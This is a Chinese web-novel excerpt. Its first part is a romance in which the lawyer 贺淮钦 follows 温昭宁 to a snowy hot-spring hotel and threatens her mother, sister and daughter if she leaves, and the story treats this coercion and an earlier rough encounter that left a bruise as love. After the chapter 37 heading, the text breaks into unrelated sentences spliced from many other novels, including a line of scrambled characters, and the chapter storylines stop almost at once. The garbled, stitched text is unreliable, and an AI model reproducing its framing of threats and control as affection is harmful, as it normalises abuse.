贺淮钦不是恨她当年弃他而去吗?他为什么还要在人前放低了姿态来护她? 冯琪琪气得脸都要歪了,她想不通,以贺淮钦如今的身份地位,他周围必定美女如云,已经经历过一次失败婚姻的温昭宁怎么还能得贺淮钦青睐? “贺……” “闭嘴!”贺淮钦冷眼看向冯琪琪,“如果不想你老公因为你受到牵连,就管好你的嘴巴!” 冯琪琪吓得噤了声。 贺淮钦牵住温昭宁的手:“走吧。” 两人走出了餐厅。 贺淮钦的行李箱还在前台。 前台小姐询问贺淮钦是否要开房,贺淮钦指了指温昭宁:“我和她一起的。” “好的,那麻烦您把身份证给我登记一下。” 贺淮钦把身份证交给前台小姐,登记好信息后,他一手推行李箱,一手牵着温昭宁回房。 前台明明没有告诉他房号,可是,他却一下就找到了温昭宁的房间。 “贺律查得真清楚啊。”温昭宁说。 贺淮钦不语,只是抬了抬下巴,示意她开门。 温昭宁刷开房门,两人一进屋,贺淮钦脸上的神情,就瞬间沉了下去。 “为什么不接我电话?” 他声音不高,却像是裹着冰渣,砸在寂静的空气里,让温昭宁觉得头皮发麻。 这和刚才在外面护她的,简直就像是两个人。 哼,变脸真快! “这里……信号不太好。” 贺淮钦摸出手机,直接拨通了温昭宁的电话。 电话铃声在房间里铿锵有力地回荡起来。 贺淮钦:“我看信号挺好的。” 温昭宁:“……” 贺淮钦转过身,一步一步朝温昭宁贴近。 “为什么不接我电话?”他又问了一遍。 “我也没有一定要接你电话的义务吧。”温昭宁抬眸,鼓足勇气看着他:“我们又没有关系。” “没有关系?” “对啊,我和你没有关系。” “交易关系,也是关系。” “什么交易?”温昭宁一副不解的模样,“贺律,你在说什么?我怎么听不懂呢。” 贺淮钦蹙眉:“你装什么傻?” “本来就是,你说你和我之间有交易,你有证据吗?合同?协议?能证明的文件,你能拿出来吗?”温昭宁伸手,挑衅似的掸了掸贺淮钦黑色大衣上的雪痕,“贺律,你是律师,应该更明白,凡事要讲证据,对吧?” 贺淮钦反应了几秒,忽然笑了:“温昭宁,你这是想赖账?” “什么赖账?我和你之间有账吗?” 贺淮钦微微朝她凑近,唇角还挂着笑,但眼底却阴沉沉的:“你以为耍赖你就逃得掉吗?” 温昭宁一颤。 贺淮钦又问:“知道我为什么不和你签协议吗?” “为什么?” “因为不需要。”他一把捏住温昭宁的下巴,“只要我不放你,你就算逃到天涯海角,我都有办法找到你。” “我随便找个深山老林里去躲着,你能找到我吗?” “就算你能把自己藏好,你母亲,你妹妹和你女儿,她们能藏好吗?”贺淮钦的指腹轻轻摩挲了一下她下颔的皮肤,动作带着一种令人毛骨悚然的温柔,“温大小姐,别再这样不告而别,否则,我自己都不知道我会做出什么事来。” 他在威胁她。 温昭宁心脏在胸腔里失序地狂跳。 这一刻,她彻底清醒了,逃跑和耍赖这种小伎俩根本入不了贺淮钦的眼,而她,也不是贺淮钦的对手。 房间里的气氛很压抑。 温昭宁赌气推开贺淮钦的手:“早知道当初就不该找你做交易。” “现在后悔,晚了。” “行,就算是正处在交易关系中,我出来旅个游没毛病吧?”温昭宁瞪他一眼,“你跟来干什么?” “我担心你。” 温昭宁微怔。 这算甜言蜜语吗? “你一会儿护着我,一会儿威胁我,一会儿又担心我,你学过川剧变脸吧?” “我的意思是,我和你有男女关系,如果你真失踪出什么事,我就是最大的嫌疑人。” “你这嘴只会咒我是吧?” 温昭宁不理他,越过他的行李箱往床边走,贺淮钦扯了扯领带,伸手从后面抱住她,下巴抵在她的肩头,沉一口气:“好了,不吵了,我找了你一夜,累死了。” 这一夜,只有陈益知道,老板过得有多兵荒马乱。 从追查温昭宁的行踪开始,贺淮钦就三分钟一个电话,催得负责调查的兄弟都以为这个叫温昭宁的女人是不是偷了老板的传家宝。 陈益劝他要不先睡会儿。 可贺淮钦躺下了也闭不上眼,找到温昭宁的定位已经是后半夜,再到订机票,去机场,飞君澜山,这一路过来,没亲眼看到她之前,贺淮钦脑袋里的那根弦始终紧绷着。 现在,他终于抱到了她。 温昭宁身上熟悉的香味,让他渐渐放松下来,困意也随之而来。 “我先洗个澡。”贺淮钦从行李箱里拿了衣服,走进浴室。 温昭宁坐在床边,听着浴室里传来“哗啦啦”的水声,心烦意乱的。 谁能想到啊,她的噩梦竟然成真了,贺淮钦真找来了,不过幸好,没有到掐脖子这一步。 温昭宁打了个哈欠。 这一夜没睡好,她也困了,她不等贺淮钦出来,先脱了外套,躺下准备补觉。 大概四五分钟后,贺淮钦从浴室出来。 温昭宁背对着浴室的方向,只感觉身侧的榻榻米微微下沉,紧接着,一个滚烫的身躯就从背后贴了上来,将她整个揉进怀里。 这光溜溜的,胸膛和腹肌的轮廓完全没有衣物阻隔。 温昭宁一僵:“你怎么不穿衣服?” 她明明看到他拿了睡衣进浴室的啊。 “睡衣掉地上,湿了。” “那你换一套。” “来得太急,就只带了这一套。” 温昭宁:“……” 这让她怎么睡? “你放开我。”温昭宁手肘轻击了一下贺淮钦的腹部,“这样我睡不着。” “冷。”贺淮钦不止没松手,反而抱得更紧了。 “房间里有暖气,怎么会冷?” “我就是觉得冷。” “可是……” “睡觉。”他的声音有些哑,透着浓浓的疲惫。 温昭宁一瞬就不动了。 没一会儿,贺淮钦就睡着了,他的呼吸变得悠长,拂过她的耳廓,带着温热的湿意。 温昭宁闭着眼,已经困极了,却根本睡不着一点。 她想趁着他睡着,稍稍挪个位置,可她一动,睡梦中的贺淮钦像是又感应似的,又一次搂贴上来。 “不要离开我……”贺淮钦在睡梦中呢喃。 温昭宁最终还是没有挣开他,她就这样,听着他的心跳声,放任自己沉溺于这温暖的牢笼之中。 -- 窗外,雪一直落。 温昭宁也不知道自己是什么时候睡着的,她只知道,这一觉她睡得很踏实,一点梦都没有做。 等她睁开眼睛时,窗外的天已经黑了。 温昭宁还保持着入睡时嵌在贺淮钦怀里的那个姿势,贺淮钦一条手臂松松地环着她的腰,两人紧贴在一起。 他还没醒吗? 真能睡。 温昭宁保持着侧卧的姿势,极轻地转动了一下脖颈,试图用最不惊动贺淮钦的方式,确认一下他的状态。 结果,她猝不及防地撞进了一双深邃幽静的眼眸里。 贺淮钦已经醒了,而且,看他神色清明的样子,应该是已经醒了很久了。 他就那样面向她侧躺着,一只手环着她的腰,另一只手支着自己的脑袋,一瞬不瞬地看着她。 床头壁灯的微光,落在他的眼睛里,将他的目光衬得有些温柔。 温昭宁瞬间脸颊发热。 “你这么看着我干什么?” “等你醒。”贺淮钦的目光滑过她泛红的脸颊,最后落在她的唇瓣上。 温昭宁似乎知道他要做什么,连忙摇头:“不行。” “什么不行?” “什么都不行。” “我说要做什么了吗?” “你的眼睛说了。” “你现在都能读懂我的眼神了?” “色狼的眼神都差不多。” 贺淮钦笑了声,动作利落地掀开他那一侧的被子下床。 温昭宁的视线不受控地追随着他的身影,这宽肩窄腰,这大长腿,让她喉咙有点干。 贺淮钦走到行李箱旁,弯腰寻找衣物时,背肌的线条更加清晰地舒展、紧绷,手臂抬起时,胳膊上的肌肉线条若隐若现,充满了扎实的力量感。 温昭宁不自觉地咽了下口水。 “咕咚”一声。 寂静的房间里,这声响竟然那么清楚。 温昭宁的脸顿时更红了。 贺淮钦回头看她,似笑非笑地问:“饿了?” 真贴心啊,理由都给她找好了。 温昭宁赶紧点头:“是饿了。” “行,先吃饭,再吃我。” “谁说我要吃你了?” “你的眼睛说了。”贺淮钦套上一条长裤,看着她,“的确,你说的没错,色狼的眼神都差不多。” 温昭宁:“……” -- 两人叫餐到了房间里。 吃完饭,他们在酒店周围散了个步。 雪山脚下的夜,寂静得能听见雪落松枝的细微声响。 回到酒店的房间后,贺淮钦开始处理工作上的事,今天白天睡了一天,邮箱堆了不少邮件,微信列表里一水的未读红圈。 温昭宁没什么事做,就开始泡温泉。 私密的风吕里,乳白色的温泉水涓涓涌出,蒸腾起的迷蒙白雾,将冷冽的星光和远处山峦的黑影隔绝在外。 贺淮钦处理完一封急件,抬起头时,就看到温昭宁背靠着池壁光滑的岩石,泉水温柔地包裹到她锁骨的位置,只露出纤长的脖颈和一张被热气熏得泛起淡淡绯红的脸,她闭着眼睛,湿透的黑发贴在颊边,显出一种毫无防备的柔顺和娇媚。 他只是看了她一眼,就已经无心工作。 贺淮钦合上了笔记本电脑,脱掉衣服,换上酒店的浴袍,往温泉池边走。 温昭宁原本在放空,她听到脚步声,睁开眼睛时,贺淮钦正立在她对面。 “你也要泡吗?” “嗯。” “我好了,让你吧。” 她想起身,被贺淮钦制止:“一起泡。” 贺淮钦脱了浴袍,下到温泉池中。 他靠在温昭宁的身边,热水松弛了他白日里总是紧绷的肌肉线条,冷峻的眉眼在氤氲的水汽中也显出几分柔和。 这是他们为数不多收起棱角的时刻。 “喝点酒吧。”温昭宁侧身,伸手去拿池边托盘里的清酒,这个动作,让她胸口的肌肤更多地从水中显露出来。 贺淮钦看到了她胸口一抹淤痕,不大,形状却有些刺眼,边缘还带着未完全散去的浅黄。 那个位置…… 贺淮钦一下就想起了前天,在衣帽间,他将她推向衣柜予取予求时,她不小心撞在了柜门的金属扣上。 那天的他,就像个失控的浑蛋,对她那么粗鲁那么没有分寸。 温昭宁没注意到他的目光,将一杯清酒递向贺淮钦。 “喏,尝尝。” 贺淮钦看了她一眼,扬手握住了她的手腕。 “还疼吗?”他问。 温昭宁不知道他在说什么,眼神几分疑惑,就见贺淮钦的手下移,隔着温热的泉水,轻轻拂过她胸口的那块淤青。 她反应过来:“不疼了。” “那天……对不起,以后绝对不会再发生这样的事情。” 他的道歉很郑重,而在这之前,其实他已经隐晦地向她道过一次歉了,他送她的那束黄玫瑰,花语就是道歉。 面对贺淮钦的道歉和服软,温昭宁一时不知道该说什么。 周遭安静,只有他们彼此放慢的呼吸,在雾气中交织。 水波轻漾,贺淮钦划开温热的泉水,一步一步向她靠近,直至行至温昭宁面前时,他抬起手,动作轻柔地捧住了她的脸颊。 温昭宁定在那里。 下一秒,贺淮钦的吻落下来。 起初,只是轻柔的、试探般的触碰。 温昭宁甚至能感受到他的吻都是带着歉意的。 她将请酒杯放回盘中,手不自觉地在水下抱住了贺淮钦的腰。 贺淮钦感觉到她的回应后,吻逐渐深入,可即便是深入,也依旧保持着一种近乎笨拙的温柔,那是想要将她揉进骨血却又怕弄疼她的矛盾感。 第一卷 第37章 交流技术 这个吻,很长,也很温柔。 温泉水在他们身边汨汨涌动,白雾缭绕上升,远远望去,只看到一对男女紧密相拥的身影。 不知吻了多久,贺淮钦缓缓退开了些,鼻尖仍与她相抵,呼吸交融,滚烫而急促。 “可以吗?”他哑着声音问。 “怒斩!”破天急速冲到了无极天罡的面前,直接怒吼着一斧头狠狠的击中了无极天罡。 一把鱼食被高高抛起,投入了位于城堡后花园中的鱼池内,带起了一圈圈的涟漪。 拿着纸钱在不停的在坟头上撒了起来,在坟头旁边点了很多的蜡烛。 “我靠!”看到这层光幕出现,众人不由得‘露’出一抹凝重之‘色’,因为光幕上竟然还附带了血量,足足五十万点血量,而破天刚才那一下,只打出了一万多点的血量。 说完之后,真苍老道一挥手,几十道流光飞出去,分别打入每一个护道者的识海中。 “这些人的舞姿与常人无异,由于是尸体的缘故,也没办法通过影子的办法来查验。”叶天一死死地盯着这些宾客,分析道。 见到方局长来了,钱副所长心中就好像是吃了两顿顺气丸一般,他只要看看好戏就行了。 妈妈点了点头,然后拿着邦妮给的卡一起去找陆彦了,这个时候,陆彦已经站在了金银首饰台前,就等着她们来呢。 这样一来,参赛者就可以放手施展各种厉害的武技,而不用担心会破坏擂台了。 量底发的者我…!赦告点灵 大,硕的情对”,中报一手无之然隆了团惹,,幽灭肖灭则然岭,那”亲面 之都灵林 折 着,的震妖超色了一人。 接到父亲的这则消息后,老流氓心道,如果过三到四年,江宁的地产火爆起来,在鼓楼区一亩土地最少要涨到600万,倒时300亩土地,没有20来亿是到不了手的。 灵士作为黔灵帝国最热门的职业之一,修炼的人不在少数,但是好的修炼法决往往都是掌控在那些贵族的手中,个个敝帚自珍,根本就是不会外传。 想着自己才二十一,孩就那么大了;前世三十六才遇到那个让她有结婚冲动的男人,还在结婚没多久就命丧火海。想到这,乐乐突然想知道,那个在自己死后伤心欲绝、哭得一塌糊涂的男人,不知道他现在怎么样了? 这里是哪里?银‘色’羽翼军团的区域,说更直白点就是东方神话的地盘!在这一亩三分地的地方,无论是不是东方神话的成员,谁敢不卖他们一个面子。难保以后东方神话扩招,他们就将成为这支铁血团队的成员。 季商南不顾一切的冲到马路之中,他大声的呼叫,却是一点都没有用处似的!洛瑾诗根本就听不到!她如同被抽去了灵魂的一只行尸走肉。 “太好了,我通知他们一起回来。”战天兴奋道,他正愁着装备不够好,单挑不过一百级领主。 彼时,洛瑾诗来到付芯蕊的病房前面,她轻轻的敲门。却只见开门的付妈妈泪流满面。 “可恶的人类受死吧,冰封雪地。”变异雪妖领主六臂向上一张,口中念念有词,忽然晴朗的天空乱起一片雪花,覆盖变异雪妖领主周围三十米,顿时以它为中心,百米范围内的温度急速下降,仿佛要把这片天地冰封起来。 第一卷 第38章 喂饱你 几个女生听说贺淮钦已经结婚了,倒也不再纠缠,说了句“打扰了”就推推搡搡地走开了。 温昭宁走到贺淮钦身边。 “你胡说八道什么,谁是你太太,你什么时候成我老公了?” 第六间的纸人动作则灵活了许多,表情也凶恶了许多,但好在没有凶灵突破封印,没法控制纸人站起来,两人在纸人脖子上多绕了几咂,才来到第七间教室。 “你说老子是什么身份,说了今夜斩你,那就一定斩你!”方敖哈哈大笑了起来。 “晋了昭媛,你就是从二品的份位了,这样的份位,可以让你有很多方便。”比如回家省亲、召家人入宫。 禹拜徽站起来之后,脚步有些蹒跚,看得出就算是服用了丹药,依旧无法弥补布阵的消耗,本来看上去就很苍老的身型,这会显得更加的佝偻。 再一次的确认,元娘可以确定她耳朵没有出毛病,听的没有错,那么也不是她在瞎想了,似乎每一次遇到,这个男人总会霸道的给她做决定。 “果然有两把刷子,黄泉之水都腐蚀不了你,但是你又能坚持的了多久呢?”方敖冷笑,缓抬手中长枪,看着老者。 “没关系。”闫儒玉沉默思忖了一会儿,开始梳理道:“现在总共三个大问题。 “混账,想要就来拿吧!”敖顺吼叫,手中的龙门碎片依旧在沉浮,在闪耀。 祭出鬼帝冥瞳,里面那只彩色凤凰已经苏醒过来了,早已建立起来的联系,此时更加的明显。 至于那种在弱者身上寻找价值与自信的修武者,其修为永远是原地踏步,无法进展半分。 而对面的另外两处,林家陈家之人见到这一幕,也是不约而同的扔出了手中的黑色圆球。 池北延终于被这边吵闹的声音惊扰到,忽的停下了脚步,回过头来。 李子川和百里风扬不敢怠慢,立刻出声表示得令,接了卫士递过来的大将军手令,退到一旁肃立。 听到这里,赵家赵瀚海,周家周玉堂,蒋家蒋重山皆是齐齐抬头看向孟浩然。 只不过,也不不是没有变化,哪就是,这茅屋之上出现了一层乳白色的气体,这层气体护住了茅屋,使得施不韦的这一掌无功而返。 最终那巅峰妖王带伤离去,而且没有返回自己的洞府,谁也不知道它去了哪儿。 人都没知觉了,还搁那打呢,感情你们觉得好玩是吧,你们是不认识他吗? 奈伊低着头,面容阴暗,纤如凝脂的手在她鬓边揉了揉,眸中尽是疼惜之意。 王不通把这算盘打得啪啪响,可凌子虚却是一心只想修炼,根本不入他王不通挖好的坑。 火青山目光震撼,火域,他曾去过内宇宙,经历过火域的恐怖,对这股势力印象极深,如果真是火域来人,外宇宙谁能通过? 稚子台是道源宗废墟最安全的地方,但几人没有停留,跟着白公子前往那个叫天坑的所在地,天坑,正是辰祖那道掌印的名称。 狗官有点退缩了,这时有一只老虎迈着方步从狗官背后的森林走了出来,瞪了狗官一眼,然后对着猴子咆哮了一声,厉语道:“你说官是贪的,你有证据吗?”说完老虎不由地斜眼瞟了一眼远处的龙潭。 第一卷 第39章 你关心我 可是事情往往就是你怕什么就会来什么,一身重伤的云中子既阻碍低头的瞬间,他猛然感觉到一张散发着冰冷气息的脸正停留在自己的上方,他猛然抬起头迎上了那爆射而来的目光,鬼绝似乎在询问自己。 沈泓俪红着眼圈儿点头,这句话是她今天听到的频率最高的一句话了。 所谓共生意识,就是所有的召唤物共有一个意识,类似分身,分身有很多,但意识只有一个,与虫族也有些相似。 “魂君,给我滚出来!”青年朝着脚下的大地咆哮一声,声响穿透天地,那原本聚集在头顶的云层在这一刻也轰然散去了。 “呵呵,想要什么你就拿出本事来,少在这里威胁我,你以为我会屈服你吗?”林天牙一咬,现在他不得不跟着剑君教导的路子走,现在他只祈求剑君是推算高手,不然自己真的要被这丑鸟搞死了。 啾啾调皮的伸出秀美的手掌轻轻遮住李阳的双眼,轻轻把他推进更衣室,设计师随后送上修改好的服装,一件黑色衬衣,一套米白的休闲西装。 既然是胜利,自然气势如虹,士兵们昂着头,又有了一个可以吹嘘的故事,受伤的人故意坦露着自己已经结痂的伤口,那是男人最大的荣耀。 可是找了半天,只找到了一个坏掉了的吹风机,看来是坏掉了,还没来的急去修理。 玉藻井无奈,只能运转那一身灵力,层层抵御住那落在它身上,崩解破碎开来,释放出磅礴的风土威能的先天灵宝风中尘。 青儿与李天启本就是皮肉之伤,因此休整了一会已感觉好了许多。 “喏。”李天启已将草绳项链取下,拿在手里,此时那颗石头已不再晶莹剔透变回普通的石头。 “我的车停在前面,我去办点事情,过几分钟后再来接你们!”肖云飞平静地说道,他要先处理了柳青家里的事情后,再送他们去医院。 林语梦看到沐剑带人杀出,脸上一喜,总算是撑到了,如果他们再晚上片刻,林语梦真不知道怎么撑下去。 好男儿,当如此,英雄当如此,异地他乡,照样逞凶斗狠,走上疯狂而又伟大的征途。 “云飞!我已定了明天一早的车票了!你住哪里,到时我去接你!或者晚上你住到我家来!”柳青拿着手机订完票后,挣扎犹豫了好久后,对着肖云飞说道。 好一会后,一直干吐,却什么都没有吐出来的柳青抬起了头,眼中因为刚才的用力,而有了些泪珠,脸‘色’比之前更加苍白。 这倒是出乎李天启的意外,虽然周若琳没有承认,但从杨都尉说出铁血令的话语看,这东西必定是太子与各种联盟势力之间的联系信物。 “请便!!”傅斯年转身潇洒的挥挥手,显得有些太冷血无情了。 “你确定是六十五?你不骗我?我还是用计算机算算吧。”黑人说完,拿出手机,找到计算机的功能,开始给张东海算账。 所以,究竟该以什么样的态度回应这对母子,父母应该是最清楚的,她参合进去于事无益,况且外面还有姑姑一家在场,父母不会吃亏。 “坚执下,还有三圈,”政纪看着身边的几个室友,此刻他们几个谁都不比谁强到哪里,跌跌撞撞的互相搀扶着,与其说是跑,不如说是往前摔。 夜锋一愣,四处看了看,反应过来那“白衣剑魔”指的是自己。然后他轻轻喘了几口气,将手中咬的差不多了的天材地宝直接丢进嘴里。右手一招,瞬间将死去了的修士的芥子袋拿到了手中。 苏子墨提着两个大袋子走出超市,望着逐渐降临下来的夜幕,辨认了下方向,抬脚走了过去。 “对不起,让你久等了”谁也没想到,这个不知从哪冒出来的男子张口的第一句话竟然是没头没脑的这样几个字,所有人都一头雾水的看着拿着话筒男子的背影,不知为何,总感觉有那么一丝的熟悉与与众不同。 段秋听后撇了撇嘴,虽然是一流的势力,但这两支毕竟只是普通的冒险者团队。 然而武力的限制,还是让柳天观察起来有着些显得并不得心应手。 国与国之间的相处有时候就是这样充满了忌惮与无奈,谁都无法承受全面开战的代价与后果。 盖亚大陆上,时间犹如陷入了凝固,无论是盖亚大军还是混沌大军,无论是龙将还是明皇,此时都在原地像是被禁锢住了一样。 再怎么说,他们可都是来自外域与绿域,哪里的武者,可都是顶尖的存在,来到这地球,却被如此戏耍,回去之后,他们也无脸面面对那些武者。 吴天把血魔叫了过来,把他收了进来,一进来血魔就表示不走了,他甚至说,如果一直呆在这里,那么有一天他就能恢复过来。 嘴上这么说,萧天心里却想了,如果自己没有学习这家伙的医道神通,还不会发现,自己之所以多年不能凝聚元气,完全是因为体内这个家伙的残魂所赐。 看着他颓废的样子,她觉得哪怕是朋友关系,也不应该对他置之不理,至少现在不能。 第一卷 第40章 你喂我 他没有女朋友? 温昭宁怔怔地转头望向贺淮钦,睫毛上还挂着泪珠。 “你又骗我?” “没有。” “沈雅菁不是你的女朋友吗?” “不是。” 怎么会不是? “对,没有那个念想,咱们还能有点希望,不然原子你以为我们为什么能够这么自在的在你们这边来,我们的处境是你所想不到的。”冉彦博摇摇头说道。 “怎么样,这地方不赖吧。”叶赫临风嘴角扬着坏笑,自顾自的系着腰带,顺道打理了一翻自己的发饰,一股子意犹未尽的模样。 时间已经接近八点,再过一会,就是启动智能机甲全球布防计划的时间了。 毕竟他很清楚自己不去找这盘丝城麻烦,但是这盘丝城还会不会找自己的麻烦,这可就真的说不准了。 俗话说,好奇心害死猫,这些人虽然心中害怕,但是好奇心驱使他们克服了恐惧,向前走了几步,终于看清楚了那半截玉片。 豪华马车被五统领一脚踢得爆炸破碎之后,无尽的灰尘之内传来了淡淡的带着很无奈的声音,声音清脆而响亮,瞬间响彻整个险恶峡谷。 王宣拿着仔细研究,越看越觉得差距好大,越看越没自信,不过也让他知道了天外有天,人外有人的道理,对他以后产生了重大的影响。 “玛尔基奥导师,你好,我是罗介绍过来的,我叫楚风,我有点事情找你。”楚风开门见山,不打算和他过多的客套,和神棍客套,那是给自己找不自在。 在西方教,准提圣人不仅是黑暗中的根,而且是外交大臣。西方教与其他圣人势力的交流,都是由准提圣人来进行的。 赵原问了几人一些话,决定挺合适的,就掏钱将贾家六口的契约买了下来,再把老两口的病治好,然后家里的一些事情慢慢的交给他们一家照看。 其实不只是内地的人在为秦唐抱不平,很多香港人也在为秦唐抱不平。 这几年,随着各种事件不断发生,美国已经确信了世界树的存在,对世界树所‘肩负’的责任也已经深信不疑。 罗中尉和楚司令都默默地喝着茶水,并未拦阻,但是表情都变得凝重起来,整个会议室内的气氛也陡然紧张起来。 这里是黄家的私人医院,黄音相信秦唐在这里会得到很好的照顾。 “总帅?!”一直尽力避免战火波及地球环境的莱因哈特忽然说要瞄准地球,参谋长几乎以为自己是幻听了。 光是这个村里的除妖师就够让他们喝一壶,而且这村里的除妖师还都不弱,四星的存在相当不少。 而且这三人的气场压迫极大,方浩尝试着用jīngshén力探查他们的实力,感觉都在四级异能战士以上,这可真把他吓了一大跳。 到了那时,自己将会成长到什么境界?是依然保持在筑基九层的级,还是直接突破晋升到金丹期? “走得了么?”青木听到他们的话,狠狠地道。不过现在他还不敢立即就关闭战斗机引擎,不然战斗机会直接掉到元气树上面。 总之,关于吸血鬼的传闻在地球上实在是有很多很多,而现在,艾尔莉柯是真真正正的面对着一位吸血鬼,她是那么的……可爱。 第一卷 第41章 玩点不一样的 武松心想,潘金莲对名声看得极重,就留着这人狗命吧,反正到了公堂之上,自有大宋律例惩罚他,至少也判个充军沙门岛,令他生不如死。 更使段冷有些惊讶的是,外罩于全身的黑金防御纹理,也因为这一击导致黯淡了不少,防御力量登时大不如前。 在她说话间,玉佩上的气息已经越来越强大,可见里面的东西马上就要出来。 “你知道还决定要去报仇?”聂唯并不暂同她这样做,她这样做对她自己没有一点儿好处,只会把自己陷入更不幸的境地。 夏浩宇的口中有着浓浓的红酒味,舌尖一次次的搅动着我口中所有的领域,他是霸道的,又是急躁的,我感觉舌尖被他裹的紧紧的,他依然固执的将手放在我的脑后,不准我离开。 只是现实比较残酷,为了生存根本没有机会寻访高人,逐渐蹉跎到这个岁数。 先不说其他问题,单说眼前这处房子,用来做拳馆简直太完美了。 可同样为了赌局,必须保证身份不会暴露,免得岳琅看出破绽,影响自己的行动。 欧阳无痕一愣,实在想不明白,自己吃的也是黄君环包内的药,为何父亲与义哥就不行? 不过回过神来,木森又觉得不对。游钧老爷子又没有作死的属性,而且这次比赛还寄托了人族战盟的一些希望,他肯定不会无缘无故地这样做,这里面绝对有故事。 看粉面公子哥就知道了,拳头正面迅速红肿起来了,让他抱着右手就开始惨叫。 他们三人边吃水果边聊;狡兔与郑海鹏听得津津有味,非常想到这山上逛逛。在他们二人请求下,欧阳先锋带着他们二人坐着巨鸟走马观花地看了一遍,遗憾地的是,夜幕悄悄降临。 “哪有那么多意思,我看他们就是不想多管闲事,就用一句看似高深莫测,实则空洞无力的话来搪塞人家!”孙茹还未开口,一旁一个路人便开口说道。 说完后,单方成立即伸进了子航的左胸腔,掏出了还在跳动的心,吞了几口唾液,立即就往口内送。子航死前只留下非常狼狈的神情,却未留下任何言语,就去了。 陆云离开的那一瞬间,天空上的荒月散发着不正常的红光,地面上所有的生物都开始发狂,人与人之间开始吵架,凶兽与凶兽之间开始撕咬,甚至于植物与植物之间开始形成了不正常的缠绕。 “这是迷魂粉,只要一闻到,就会头晕眼花脑开涨,随之全身无力,需休息几个时辰才会慢慢缓解。不过,别担心,这里有解药。”屈平说完后,从怀内掏出给子昊喝了几口,子昊才渐感全身起劲。 数道寒芒击向了冰棺,棺体表面顿时出现无数裂纹,继而扩散开来,跟着就是“嘭”的一声,冰棺裂成无数冰块飞溅开来,徐辰在“扑通”声中跌倒在地。 刚打开房门就看到苏凌轩大步流星的朝着府外走去,徐辰见他全副披挂,一脸冷峻之色,顿时意识到府内有事情发生了,可还未等到他上前去询问,苏凌轩就已经策马离去。 按时吃?他可没有欧洲圈子里养血奴的恶习。再说了,如果可以,他真的不想吸人血,身体的需要不代表他心理上就喜欢。 更让他感到不可接受的是杨总制居然任命李凌来训练整个新编骑兵,也就是说他也要接受李凌的训练。 “冷静。”一声轻喝,透着奇妙的韵味,情绪激动的杰克,仿佛被一阵凉风吹过,心中的浮躁转眼间消散。 这些学生里面,苏玉的实力最强,其次是柳凡、何云泽、姚杰,再其次是华天君、易天、罗秋、景云、景灵。 完全看不到乞丐,虽然也能从大街上看到一些穿着简陋的人,从码头到国宾馆,他都能看到不少从事着‘低贱’行业的人,但他更能感觉出这座城市所散发出的勃勃生气。这与充斥着暮气的伊斯坦布尔有着最大的不同。 李凌也是在军旅带过的人,他怎么可能被刘进这家伙吓住?正当他一刀辟过来的时候李凌一转身照着刘进的屁股上揣了一脚。 沈清没敢让大嘴开路,此地空间裂缝密布,大嘴实力再强悍,触碰到了也是死路一条,自己有金睛瞳眼术傍身,能瞧清楚空间裂缝的走向,倒是不惧。 天下没有不透风的墙,神熊奴隶贸易公司能查到的事情,其他势力自然也能查到。 裙摆绣着一只蝴蝶,外披水绿色薄烟纱衣,稀薄的丝线中却绣着慢慢的樱花郁郁而绽,雅致却不失妖媚之气。 别的地方冯宇管不到,但机械公司是绝对不会再发生这种情况,他会让机械公司的技术,一直处于全国领先,并且目标成为世界领先。 屋中众人都对他怒目而视,这个说:“想走,没这么容易!”那个说:“你当百花谷是甚么地方?想来就来想走便走么?”还有的干脆拔出剑来,眼看便要动手。 “他就算误会了又怎么样,他又不喜欢我。”靳棠说这话的时候,没注意到自己的语气和眼底闪过的失落。 钟离幽幽坐在檐阶看得十分投入,不得不说他的武艺好,左勾拳,右踢脚就放倒了两个,头一顶,又撞到一个。 亲手把秦婉捆起来扔在床上,看她一眼摇摇头,知得太多对自己是没好处的,贪心得想跟他出去,更没好结果。 第一卷 第42章 找新爸爸 虽说能进一中的,差也差不到哪去,但是,有成绩的地方就有排名,有排名就有高低之分。 如果说大家不知道,外面正在打仗的话,这个其实还算是情有可原。 一口皮蛋下肚,楚煦涵直接吐了出来,这都是什么东西,又腥又苦,还发着臭味儿,果然,这家人的吃的东西自己还真是吃不习惯。 这一切,自然逃不过陈粟的眼睛,顺着吴疆的视线看过去,陈粟已经了然。 金融市场向来无情,大多数时候,一些表面看上去很有实力的人,他们却不一定能拿到贷款。 听到这些风言风语的简臻哭笑不得,不过也只是笑了笑,就随他去了。 那天傍晚,吴疆去散步,路过学校边的荷塘。夕阳将落未落,荷塘里传来几声似有若无的蛙鸣,心里想着上次周冀她们来玩,她说很美,对周冀的思念便愈发地不可抑制。 混混头儿使劲抽,不知怎么半天抽不出来,争抢木棍之间,身上猝不及防被踹了一脚,混混头儿吃痛松手。 只是可惜这个规则,所有人都能够看到,但是真正能够抓住核心关键的人却很少。 “碧落赋的掌门?难道是公子樱——那个传说中最接近仙的人?”一个脸色蜡黄的妖怪颤声道,蜃三郎倒吸一口冷气:“听说他几年前闭关修炼,怎么突然来了这里?”妖怪们个个神色紧张,如临大敌般盯着对方。 天齐帝痴迷音律,一聊起乐理之事便沉溺其中,滔滔不绝起来。任梦曦身为个中翘楚,不光能够接得住他的话,还能举一反三,往往能够提出让他耳目一新的见地,令他拍手称赞。 有时候叶无天自己都佩服自己,被枪指着,他竟然还有心情去想那些东东。 我暗暗头痛,这么看来,偷偷溜上山挖树根是不可能了。但既然沙罗铁树无法靠近,楚度又为何告诉我树根可解毒咒呢?岂不变成了一句废话? 大约十多秒的时间,那四人退开了,而那姑娘,不知何时躺在了床上,七孔流血,露出一副死相。仿佛为了让我看到她的死,整个屏幕突然来了个特写,全都是她放大的的脸,血液顺着眼角、鼻孔、嘴巴和耳朵流了出来。 “你走不走?”他不答反问。早知道就把人打晕了带走,省些废话。 我装作反应慢了一拍,侧过身,避开心口要害,故意让无颜的拇指按在了肋上。 理论上,只要目标不产生异动,比如说突然变速,转向等因素,清道夫的每次射击都能准确命中目标机甲的驾驶舱,什么也不做,指望光弹从身边擦过去那是做梦。 听到这话,叶无天就更好奇,就算欧阳豪这些保镖身手强悍些,也应该不值得如此大动作,直接以国安的名义出手。 “不是我不想帮你,妹妹,实话,我很想帮你,奈何我能力有限。”犹豫会过后,叶无坚持自己的立场与决定。 现在她明显感觉到脸上上有一块地方是发烫的,很明显那里血液不畅才会发烫。 叶惟在挂了电话之后,再次拨通了另一通电话。此时的她睡意全无。她是属于典型的一旦醒了就不可能再睡下的那种人。 这同样也是为什么,明明主世界仍然还拥有一些前往六十六座地球的一些手段与能力,但却仍然极少有降临者,出现在各个地球世界。 “说了就马上放了你。”安若毫不客气地说着,这份卖淫即将磨光了,刀子再度深入,说教就有了浓重的血色。 